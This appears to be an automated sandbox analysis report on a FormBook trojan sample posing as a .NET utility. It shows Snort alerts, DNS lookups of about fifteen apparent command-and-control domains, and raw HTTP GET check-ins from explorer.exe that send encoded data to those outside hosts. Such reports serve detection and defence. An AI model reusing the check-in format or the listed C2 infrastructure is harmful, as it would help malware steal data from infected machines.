RT_ICON	0xad450	0x6f5a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0xb43bc	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_ICON	0xc4bf4	0x94a8	data
RT_ICON	0xce0ac	0x5488	data
RT_ICON	0xd3544	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 15794175, next used block 4294902528
RT_ICON	0xd777c	0x25a8	data
RT_ICON	0xd9d34	0x10a8	data
RT_ICON	0xdadec	0x988	data
RT_ICON	0xdb784	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xdbbfc	0x92	data
RT_VERSION	0xdbca0	0x38a	data
RT_MANIFEST	0xdc03c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2016 Computer City
Assembly Version	1.12.0.2
InternalName	CharTypeInfo.exe
FileVersion	1.12.0.2
CompanyName	Computer City
LegalTrademarks
Comments
ProductName	UnmanagedAccessor
ProductVersion	1.12.0.2
FileDescription	UnmanagedAccessor
OriginalFilename	CharTypeInfo.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/08/21-12:04:21.809030	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49717	80	192.168.2.5	184.168.131.241
04/08/21-12:04:21.809030	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49717	80	192.168.2.5	184.168.131.241
04/08/21-12:04:21.809030	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49717	80	192.168.2.5	184.168.131.241
04/08/21-12:04:59.252139	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49725	80	192.168.2.5	208.91.197.91
04/08/21-12:04:59.252139	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49725	80	192.168.2.5	208.91.197.91
04/08/21-12:04:59.252139	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49725	80	192.168.2.5	208.91.197.91
04/08/21-12:05:07.034640	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.5	8.8.8.8
04/08/21-12:05:08.358998	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.5	8.8.8.8
04/08/21-12:05:18.088414	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49732	80	192.168.2.5	177.55.108.130
04/08/21-12:05:18.088414	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49732	80	192.168.2.5	177.55.108.130
04/08/21-12:05:18.088414	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49732	80	192.168.2.5	177.55.108.130

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 12:04:21.632926941 CEST	49717	80	192.168.2.5	184.168.131.241
Apr 8, 2021 12:04:21.808682919 CEST	80	49717	184.168.131.241	192.168.2.5
Apr 8, 2021 12:04:21.808800936 CEST	49717	80	192.168.2.5	184.168.131.241
Apr 8, 2021 12:04:21.809030056 CEST	49717	80	192.168.2.5	184.168.131.241
Apr 8, 2021 12:04:21.984464884 CEST	80	49717	184.168.131.241	192.168.2.5
Apr 8, 2021 12:04:22.028017998 CEST	80	49717	184.168.131.241	192.168.2.5
Apr 8, 2021 12:04:22.028047085 CEST	80	49717	184.168.131.241	192.168.2.5
Apr 8, 2021 12:04:22.028240919 CEST	49717	80	192.168.2.5	184.168.131.241
Apr 8, 2021 12:04:22.028343916 CEST	49717	80	192.168.2.5	184.168.131.241
Apr 8, 2021 12:04:22.203593016 CEST	80	49717	184.168.131.241	192.168.2.5
Apr 8, 2021 12:04:32.389282942 CEST	49718	80	192.168.2.5	35.156.117.131
Apr 8, 2021 12:04:32.407913923 CEST	80	49718	35.156.117.131	192.168.2.5
Apr 8, 2021 12:04:32.408046007 CEST	49718	80	192.168.2.5	35.156.117.131
Apr 8, 2021 12:04:32.408296108 CEST	49718	80	192.168.2.5	35.156.117.131
Apr 8, 2021 12:04:32.426136971 CEST	80	49718	35.156.117.131	192.168.2.5
Apr 8, 2021 12:04:32.428894997 CEST	80	49718	35.156.117.131	192.168.2.5
Apr 8, 2021 12:04:32.429075003 CEST	49718	80	192.168.2.5	35.156.117.131
Apr 8, 2021 12:04:32.429214954 CEST	49718	80	192.168.2.5	35.156.117.131
Apr 8, 2021 12:04:32.447406054 CEST	80	49718	35.156.117.131	192.168.2.5
Apr 8, 2021 12:04:37.530929089 CEST	49719	80	192.168.2.5	2.57.90.16
Apr 8, 2021 12:04:37.571005106 CEST	80	49719	2.57.90.16	192.168.2.5
Apr 8, 2021 12:04:37.571151972 CEST	49719	80	192.168.2.5	2.57.90.16
Apr 8, 2021 12:04:37.571713924 CEST	49719	80	192.168.2.5	2.57.90.16
Apr 8, 2021 12:04:37.611814976 CEST	80	49719	2.57.90.16	192.168.2.5
Apr 8, 2021 12:04:37.611836910 CEST	80	49719	2.57.90.16	192.168.2.5
Apr 8, 2021 12:04:37.611850023 CEST	80	49719	2.57.90.16	192.168.2.5
Apr 8, 2021 12:04:37.612085104 CEST	49719	80	192.168.2.5	2.57.90.16
Apr 8, 2021 12:04:37.612297058 CEST	49719	80	192.168.2.5	2.57.90.16
Apr 8, 2021 12:04:37.652245045 CEST	80	49719	2.57.90.16	192.168.2.5
Apr 8, 2021 12:04:59.106825113 CEST	49725	80	192.168.2.5	208.91.197.91
Apr 8, 2021 12:04:59.251840115 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:04:59.251971006 CEST	49725	80	192.168.2.5	208.91.197.91
Apr 8, 2021 12:04:59.252139091 CEST	49725	80	192.168.2.5	208.91.197.91
Apr 8, 2021 12:04:59.397062063 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:04:59.498363972 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:04:59.498404980 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:04:59.498425007 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:04:59.498682022 CEST	49725	80	192.168.2.5	208.91.197.91
Apr 8, 2021 12:04:59.498739004 CEST	49725	80	192.168.2.5	208.91.197.91
Apr 8, 2021 12:04:59.531753063 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:04:59.531820059 CEST	49725	80	192.168.2.5	208.91.197.91
Apr 8, 2021 12:04:59.644556999 CEST	80	49725	208.91.197.91	192.168.2.5
Apr 8, 2021 12:05:11.767712116 CEST	49731	80	192.168.2.5	74.208.236.64
Apr 8, 2021 12:05:11.899678946 CEST	80	49731	74.208.236.64	192.168.2.5
Apr 8, 2021 12:05:11.899977922 CEST	49731	80	192.168.2.5	74.208.236.64
Apr 8, 2021 12:05:11.900079012 CEST	49731	80	192.168.2.5	74.208.236.64
Apr 8, 2021 12:05:12.031223059 CEST	80	49731	74.208.236.64	192.168.2.5
Apr 8, 2021 12:05:12.034537077 CEST	80	49731	74.208.236.64	192.168.2.5
Apr 8, 2021 12:05:12.034565926 CEST	80	49731	74.208.236.64	192.168.2.5
Apr 8, 2021 12:05:12.034796953 CEST	49731	80	192.168.2.5	74.208.236.64
Apr 8, 2021 12:05:12.034859896 CEST	49731	80	192.168.2.5	74.208.236.64
Apr 8, 2021 12:05:12.165515900 CEST	80	49731	74.208.236.64	192.168.2.5
Apr 8, 2021 12:05:17.881434917 CEST	49732	80	192.168.2.5	177.55.108.130
Apr 8, 2021 12:05:18.087061882 CEST	80	49732	177.55.108.130	192.168.2.5
Apr 8, 2021 12:05:18.087527037 CEST	49732	80	192.168.2.5	177.55.108.130
Apr 8, 2021 12:05:18.088413954 CEST	49732	80	192.168.2.5	177.55.108.130
Apr 8, 2021 12:05:18.291481972 CEST	80	49732	177.55.108.130	192.168.2.5
Apr 8, 2021 12:05:18.292332888 CEST	80	49732	177.55.108.130	192.168.2.5
Apr 8, 2021 12:05:18.292355061 CEST	80	49732	177.55.108.130	192.168.2.5
Apr 8, 2021 12:05:18.292543888 CEST	49732	80	192.168.2.5	177.55.108.130
Apr 8, 2021 12:05:18.292608976 CEST	49732	80	192.168.2.5	177.55.108.130
Apr 8, 2021 12:05:18.495742083 CEST	80	49732	177.55.108.130	192.168.2.5
Apr 8, 2021 12:05:23.338290930 CEST	49734	80	192.168.2.5	192.0.78.24
Apr 8, 2021 12:05:23.354049921 CEST	80	49734	192.0.78.24	192.168.2.5
Apr 8, 2021 12:05:23.354183912 CEST	49734	80	192.168.2.5	192.0.78.24
Apr 8, 2021 12:05:23.354604006 CEST	49734	80	192.168.2.5	192.0.78.24
Apr 8, 2021 12:05:23.370249987 CEST	80	49734	192.0.78.24	192.168.2.5
Apr 8, 2021 12:05:23.483477116 CEST	80	49734	192.0.78.24	192.168.2.5
Apr 8, 2021 12:05:23.483500957 CEST	80	49734	192.0.78.24	192.168.2.5
Apr 8, 2021 12:05:23.483649969 CEST	49734	80	192.168.2.5	192.0.78.24
Apr 8, 2021 12:05:23.483750105 CEST	49734	80	192.168.2.5	192.0.78.24
Apr 8, 2021 12:05:23.499483109 CEST	80	49734	192.0.78.24	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 12:03:15.073683977 CEST	52212	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:15.107563019 CEST	53	52212	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:15.243592978 CEST	54302	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:15.256288052 CEST	53	54302	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:15.258438110 CEST	53784	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:15.270612955 CEST	53	53784	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:15.706372976 CEST	65307	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:15.719813108 CEST	53	65307	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:15.722573042 CEST	64344	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:15.736054897 CEST	53	64344	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:16.338979006 CEST	62060	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:16.351699114 CEST	53	62060	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:18.154172897 CEST	61805	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:18.167529106 CEST	53	61805	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:18.795605898 CEST	54795	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:18.808784962 CEST	53	54795	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:19.236841917 CEST	49557	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:19.254936934 CEST	53	49557	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:19.832006931 CEST	61733	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:19.844795942 CEST	53	61733	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:20.705095053 CEST	65447	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:20.717613935 CEST	53	65447	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:21.448858023 CEST	52441	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:21.461405039 CEST	53	52441	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:22.880736113 CEST	62176	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:22.893364906 CEST	53	62176	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:25.878978014 CEST	59596	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:25.891555071 CEST	53	59596	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:26.643290043 CEST	65296	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:26.656200886 CEST	53	65296	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:27.609880924 CEST	63183	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:27.623181105 CEST	53	63183	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:44.317714930 CEST	60151	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:44.336030960 CEST	53	60151	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:49.234772921 CEST	59736	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:49.239942074 CEST	51058	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:49.240032911 CEST	52636	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:03:49.247836113 CEST	53	59736	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:49.251970053 CEST	53	51058	8.8.8.8	192.168.2.5
Apr 8, 2021 12:03:49.253436089 CEST	53	52636	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:08.718833923 CEST	56969	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:08.732348919 CEST	53	56969	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:21.582397938 CEST	55161	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:21.624262094 CEST	53	55161	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:32.059622049 CEST	54757	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:32.387444973 CEST	53	54757	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:37.486022949 CEST	49992	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:37.528493881 CEST	53	49992	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:42.619398117 CEST	60075	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:42.979065895 CEST	53	60075	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:48.228594065 CEST	55016	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:48.836759090 CEST	53	55016	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:51.358530045 CEST	64345	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:51.371253967 CEST	53	64345	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:53.898787022 CEST	57128	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:53.926758051 CEST	53	57128	8.8.8.8	192.168.2.5
Apr 8, 2021 12:04:58.948373079 CEST	54791	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:04:59.105505943 CEST	53	54791	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:03.749087095 CEST	50463	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:03.768049955 CEST	53	50463	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:04.512552977 CEST	50394	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:05.506127119 CEST	50394	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:06.521694899 CEST	50394	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:06.674634933 CEST	53	50394	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:07.034513950 CEST	53	50394	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:08.358870983 CEST	53	50394	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:11.724265099 CEST	58530	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:11.765930891 CEST	53	58530	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:17.043440104 CEST	53813	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:17.880172968 CEST	53	53813	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:18.316375971 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:18.349823952 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:23.309679031 CEST	57344	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:23.336853981 CEST	53	57344	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:27.472863913 CEST	54450	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:27.485549927 CEST	53	54450	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:28.296029091 CEST	59261	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:28.329763889 CEST	53	59261	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:28.497765064 CEST	57151	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:28.774436951 CEST	53	57151	8.8.8.8	192.168.2.5
Apr 8, 2021 12:05:34.462431908 CEST	59413	53	192.168.2.5	8.8.8.8
Apr 8, 2021 12:05:34.527434111 CEST	53	59413	8.8.8.8	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 8, 2021 12:05:07.034640074 CEST	192.168.2.5	8.8.8.8	cffd	(Port unreachable)	Destination Unreachable
Apr 8, 2021 12:05:08.358998060 CEST	192.168.2.5	8.8.8.8	cffd	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 8, 2021 12:04:21.582397938 CEST	192.168.2.5	8.8.8.8	0x3722	Standard query (0)	www.flowhcf.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:32.059622049 CEST	192.168.2.5	8.8.8.8	0x5ca1	Standard query (0)	www.jinlan.online	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:37.486022949 CEST	192.168.2.5	8.8.8.8	0xc2f0	Standard query (0)	www.armaccountingbs.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:42.619398117 CEST	192.168.2.5	8.8.8.8	0xe949	Standard query (0)	www.zmid.xyz	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:48.228594065 CEST	192.168.2.5	8.8.8.8	0x6c76	Standard query (0)	www.sookepointcargo.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:53.898787022 CEST	192.168.2.5	8.8.8.8	0x6c6d	Standard query (0)	www.dateyourlovelive.club	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:58.948373079 CEST	192.168.2.5	8.8.8.8	0x5abb	Standard query (0)	www.knoxvilleoutdoorkitchens.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:04.512552977 CEST	192.168.2.5	8.8.8.8	0x2ea	Standard query (0)	www.gunungbatufrozen.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:05.506127119 CEST	192.168.2.5	8.8.8.8	0x2ea	Standard query (0)	www.gunungbatufrozen.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:06.521694899 CEST	192.168.2.5	8.8.8.8	0x2ea	Standard query (0)	www.gunungbatufrozen.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:11.724265099 CEST	192.168.2.5	8.8.8.8	0x9951	Standard query (0)	www.highdeserthealthinsurance.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:17.043440104 CEST	192.168.2.5	8.8.8.8	0x52bd	Standard query (0)	www.hotelmaktub.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:23.309679031 CEST	192.168.2.5	8.8.8.8	0x2d71	Standard query (0)	www.legacyadmin.support	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:28.497765064 CEST	192.168.2.5	8.8.8.8	0x9df1	Standard query (0)	www.arizonagridiron.com	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:34.462431908 CEST	192.168.2.5	8.8.8.8	0x8974	Standard query (0)	www.harshdeepfashion.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 8, 2021 12:04:21.624262094 CEST	8.8.8.8	192.168.2.5	0x3722	No error (0)	www.flowhcf.com	flowhcf.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 12:04:21.624262094 CEST	8.8.8.8	192.168.2.5	0x3722	No error (0)	flowhcf.com		184.168.131.241	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:32.387444973 CEST	8.8.8.8	192.168.2.5	0x5ca1	No error (0)	www.jinlan.online	www.jinlan.online.s.strikinglydns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 12:04:32.387444973 CEST	8.8.8.8	192.168.2.5	0x5ca1	No error (0)	www.jinlan.online.s.strikinglydns.com		35.156.117.131	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:32.387444973 CEST	8.8.8.8	192.168.2.5	0x5ca1	No error (0)	www.jinlan.online.s.strikinglydns.com		18.157.120.97	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:37.528493881 CEST	8.8.8.8	192.168.2.5	0xc2f0	No error (0)	www.armaccountingbs.com	armaccountingbs.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 12:04:37.528493881 CEST	8.8.8.8	192.168.2.5	0xc2f0	No error (0)	armaccountingbs.com		2.57.90.16	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:42.979065895 CEST	8.8.8.8	192.168.2.5	0xe949	No error (0)	www.zmid.xyz	ghs.google.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 12:04:48.836759090 CEST	8.8.8.8	192.168.2.5	0x6c76	Server failure (2)	www.sookepointcargo.com	none	none	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:53.926758051 CEST	8.8.8.8	192.168.2.5	0x6c6d	Name error (3)	www.dateyourlovelive.club	none	none	A (IP address)	IN (0x0001)
Apr 8, 2021 12:04:59.105505943 CEST	8.8.8.8	192.168.2.5	0x5abb	No error (0)	www.knoxvilleoutdoorkitchens.com		208.91.197.91	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:06.674634933 CEST	8.8.8.8	192.168.2.5	0x2ea	Server failure (2)	www.gunungbatufrozen.com	none	none	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:07.034513950 CEST	8.8.8.8	192.168.2.5	0x2ea	Server failure (2)	www.gunungbatufrozen.com	none	none	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:08.358870983 CEST	8.8.8.8	192.168.2.5	0x2ea	Server failure (2)	www.gunungbatufrozen.com	none	none	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:11.765930891 CEST	8.8.8.8	192.168.2.5	0x9951	No error (0)	www.highdeserthealthinsurance.com		74.208.236.64	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:17.880172968 CEST	8.8.8.8	192.168.2.5	0x52bd	No error (0)	www.hotelmaktub.com	hotelmaktub.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 12:05:17.880172968 CEST	8.8.8.8	192.168.2.5	0x52bd	No error (0)	hotelmaktub.com		177.55.108.130	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:17.880172968 CEST	8.8.8.8	192.168.2.5	0x52bd	No error (0)	hotelmaktub.com		187.84.225.36	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:23.336853981 CEST	8.8.8.8	192.168.2.5	0x2d71	No error (0)	www.legacyadmin.support	legacyadmin.support		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 12:05:23.336853981 CEST	8.8.8.8	192.168.2.5	0x2d71	No error (0)	legacyadmin.support		192.0.78.24	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:23.336853981 CEST	8.8.8.8	192.168.2.5	0x2d71	No error (0)	legacyadmin.support		192.0.78.25	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:28.774436951 CEST	8.8.8.8	192.168.2.5	0x9df1	No error (0)	www.arizonagridiron.com		23.27.42.72	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:34.527434111 CEST	8.8.8.8	192.168.2.5	0x8974	No error (0)	www.harshdeepfashion.com		216.239.34.21	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:34.527434111 CEST	8.8.8.8	192.168.2.5	0x8974	No error (0)	www.harshdeepfashion.com		216.239.36.21	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:34.527434111 CEST	8.8.8.8	192.168.2.5	0x8974	No error (0)	www.harshdeepfashion.com		216.239.38.21	A (IP address)	IN (0x0001)
Apr 8, 2021 12:05:34.527434111 CEST	8.8.8.8	192.168.2.5	0x8974	No error (0)	www.harshdeepfashion.com		216.239.32.21	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.flowhcf.com

www.jinlan.online

www.armaccountingbs.com

www.knoxvilleoutdoorkitchens.com

www.highdeserthealthinsurance.com

www.hotelmaktub.com

www.legacyadmin.support

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49717	184.168.131.241	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:04:21.809030056 CEST	1544	OUT	GET /e3rs/?uFQl=XP7HMT_8&w0G=7EcTScmBGLYmOphx6WmAanuMW8SmjCZcy1cTUFzuZxTbodjrouz1iofcKvfRvNdFU6cO HTTP/1.1 Host: www.flowhcf.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Apr 8, 2021 12:04:22.028017998 CEST	1545	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Thu, 08 Apr 2021 10:04:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://www.flowhcf.org/e3rs/?uFQl=XP7HMT_8&w0G=7EcTScmBGLYmOphx6WmAanuMW8SmjCZcy1cTUFzuZxTbodjrouz1iofcKvfRvNdFU6cO Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49718	35.156.117.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:04:32.408296108 CEST	1545	OUT	GET /e3rs/?uFQl=XP7HMT_8&w0G=0ZKu2HAGzvZQR/qsYgBhCWXzZU+pty94akjoW6oXtCN964+Lsvy2TInFlM7SmRuoaV8X HTTP/1.1 Host: www.jinlan.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49719	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:04:37.571713924 CEST	1546	OUT	GET /e3rs/?w0G=UjY/ETYDec4qhoizf7RP+uVqhCLoGuhip7tAF9t9xQZdbBeLWBLuGPY37yNXVCM5GTyP&uFQl=XP7HMT_8 HTTP/1.1 Host: www.armaccountingbs.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Apr 8, 2021 12:04:37.611836910 CEST	1547	IN	HTTP/1.1 404 Not Found Server: nginx/1.16.1 Date: Thu, 08 Apr 2021 10:04:37 GMT Content-Type: text/html Content-Length: 153 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49725	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 12:04:59.252139091 CEST	1646	OUT	GET /e3rs/?w0G=3w4QHVrJOCimt90ZTeKXMe7ZrYb4bnkzv7QZzufjPqhFBPGQ1SrJ/wFsHy6lqdqQBlr0&uFQl=XP7HMT_8 HTTP/1.1 Host: www.knoxvilleoutdoorkitchens.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Apr 8, 2021 12:04:59.498363972 CEST	1648	IN	HTTP/1.1 200 OK Date: Thu, 08 Apr 2021 10:04:59 GMT Server: Apache Set-Cookie: vsid=926vr3654218993933208; expires=Tue, 07-Apr-2026 10:04:59 GMT; Max-Age=157680000; path=/; domain=www.knoxvilleoutdoorkitchens.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_jc9joRJOg7xepppfUjhgNUfaQZzFQ8rnfCxQRWJh90VSrWOsDLcYcPwxAW8oD+eV6/1Kf7dQa9exp2BXhMPJvQ== Content-Length: 2723 Keep-Alive: timeout=5, max=123 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 2d 2d 0d 0a 09 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 6e 6f 78 76 69 6c 6c 65 6f 75 74 64 6f 6f 72 6b 69 74 63 68 65 6e 73 2e 63 6f 6d 2f 3f 66 70 3d 61 63 6a 56 78 4f 32 34 72 75 42 45 31 62 53 6e 41 4a 4f 4f 46 65 5a 39 64 32 25 32 42 69 6c 6c 33 68 57 65 62 63 4d 48 65 6e 65 72 79 71 64 65 33 34 61 6c 6a 4b 38 67 37 